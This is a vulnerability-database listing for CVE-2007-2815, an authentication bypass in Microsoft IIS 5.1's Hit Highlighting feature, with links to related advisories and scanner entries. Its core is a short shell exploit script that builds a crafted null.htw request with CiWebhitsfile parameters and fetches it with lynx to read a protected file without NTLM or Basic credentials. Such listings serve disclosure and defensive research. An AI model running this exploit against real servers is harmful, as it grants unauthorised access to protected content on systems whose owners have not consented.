Lucene search
K

Microsoft IIS <= 5.1 Hit Highlighting Authentication Bypass Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 85 Views

Microsoft IIS version 5.1 Hit Highlighting Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft IIS <= 5.1 Hit Highlighting Authentication Bypass Exploit
31 May 200700:00
zdt
Check Point Advisories
Microsoft IIS WebHits Authentication Bypass - Ver2 (CVE-2007-2815)
3 Mar 201400:00
checkpoint_advisories
CVE
CVE-2007-2815
22 May 200719:00
cve
Cvelist
CVE-2007-2815
22 May 200719:00
cvelist
Exploit DB
Microsoft IIS 5.1 - Hit Highlighting Authentication Bypass
31 May 200700:00
exploitdb
exploitpack
Microsoft IIS 5.1 - Hit Highlighting Authentication Bypass
31 May 200700:00
exploitpack
Tenable Nessus
Microsoft IIS webhits.dll Hit-Highlighting Authentication Bypass
25 Mar 200800:00
nessus
NVD
CVE-2007-2815
22 May 200719:30
nvd
Packet Storm
CVE-2007-2815.txt
6 Jun 200700:00
packetstorm
Prion
Authentication flaw
22 May 200719:30
prion
Rows per page

                                                #!/bin/sh
#
# NTLM && BASIC AUTH BYPASS :)
#
# sha0[at]badchecksum.net
# Based on my adv: http://www.securityfocus.com/bid/24105/info   (CVE-2007-2815)

if [ $# != 2 ]
then
        printf &#34;USAGE:\t\t$0 &#60;Site&#62; &#60;Protected Object&#62;\nExample:\t$0 http://www.microsoft.com  /en/us/default.aspx\n\n&#34;;
        exit 0
fi

site=$1
protectedObject=$2
evil=$site&#39;/shao/null.htw?CiWebhitsfile=&#39;$protectedObject&#39;&CiRestriction=b&CiHiliteType=full&#39;
lynx -dump $evil

# milw0rm.com [2007-05-31]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.85872
85